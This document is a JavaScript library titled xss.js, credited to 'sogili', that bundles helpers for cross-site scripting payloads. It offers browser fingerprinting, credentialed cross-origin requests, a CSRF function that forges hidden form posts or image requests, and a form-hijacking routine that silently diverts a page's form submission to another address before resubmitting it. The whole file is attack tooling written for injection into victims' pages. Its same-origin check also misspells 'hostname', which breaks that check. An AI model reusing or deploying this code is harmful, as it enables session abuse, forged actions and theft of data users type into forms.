;;var xss = function(){
var x = {
'name':'xss.js',
'version':'0.2.1',
'author':'长短短(sogili)'
};
x.x=function(id){return document.getElementById(id)};
//容错取值
x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};
//浏览器
x.i={
i:!!self.ActiveXObject&&(function(){
for(var v=6,s=document.createElement('s');
s.innerHTML='<![if gt IE '+(v++)+']><i></i><![endif]-->',
s.getElementsByTagName('i')[0];);
return v;
}()),
c:!!self.chrome,
f:self.mozPaintCount>-1,
o:!!self.opera,
s:!self.chrome&&!!self.WebKitPoint
};
//UA
x.ua = navigator.userAgent;
//判断是否为苹果手持设备
x.apple=/ip(one|ad|od)/i.test(x.ua);
//随机数
x.rdm=function(){return~~(Math.random()*1e5)};
//url编码(UTF8)
x.ec=encodeURIComponent;
x.html=function(){
return document.getElementsByTagName('html')[0]
||document.write('<html>')
||document.getElementsByTagName('html')[0];
};
/*
* 销毁一个元素
*/
x.kill=function(e){
e.parentElement.removeChild(e);
};
/*
*绑定事件
*/
x.bind=function(e,name,fn){
e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);
};
/*
* dom准备完毕时执行函数
*/
x.ready=function(fn){
if(!x.i.i){
x.bind(document,'DOMContentLoaded',fn);
}else{
var s = setInterval(function(){
try{
document.body.doScroll('left');
clearInterval(s);
fn();
}catch(e){}
},4);
}
}
/*
* 同源检测
*/
x.o=function(url){
var link = x.dom('<a href="'+encodeURI(url)+'">',1);
return link.protocol+link.hoatname+':'+(link.port||80)==location.protocol+location.hoatname+':'+(location.port||80);
};
/*
* html to dom
*/
x.dom=function(html,gcsec){
var tmp = document.createElement('span');
tmp.innerHTML=html;
var e = tmp.children[0];
e.style.display='none';
x.html().appendChild(e);
gcsec>>0>0&&setTimeout(function(){
x.kill(e);
},gcsec*1000);
return e;
};
/*
* ajax
*/
x.ajax=function(url,params,callback){
(params instanceof Function)&&(callback=params,params=void(0));
var XHR = (!x.o(url)&&window.XDomainRequest)||
window.XMLHttpRequest||
(function(){return new ActiveXObject('MSXML2.XMLHTTP')});
var xhr = new XHR();
xhr.open(params?'post':'get',url);
xhr.withCredentials = true;
try{params&&xhr.setRequestHeader('content-type','application/x-www-form-urlencoded');}catch(e){}
callback&&(xhr.onreadystatechange = function() {
(this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this,arguments);
});
xhr.send(params);
};
/*
* CSRF
*/
x.csrf=function(url,params,callback){
(params instanceof Function)&&(callback=params,params=void(0));
if(params){
var form = x.dom('<form method=post>');
form.action=url;
for(var name in params){
var input = document.createElement('input');
input.name=name;
input.value=params[name];
form.appendChild(input);
}
var iframe = x.dom('<iframe sandbox name=_'+x.rdm()+'_>',6);
callback&&setTimeout(function(){
x.bind(iframe,'load',callback);
},30);
form.target=iframe.name;
form.submit();
}else{
var img = new Image();
callback&&(img.onerror=callback);
img.src=url;
}
};
/*
* 表单劫持
*/
x.xform=function(form,action){
form.old_action=form.action,form.old_target=form.target,form.action=action;
var iframe = x.dom('<iframe name=_'+x.rdm()+'_>');
form.target=iframe.name;
setTimeout(function(){
x.bind(iframe,'load',function(){
form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();
});
},30);
};
/*
* 函数代理
*/
x.proxy=function(fn,before,after){
return function(){
before&&before.apply(this,arguments);
var result = fn.apply(this,arguments);
after&&after.apply(this,arguments);
return result;
}
};
return x;
}();
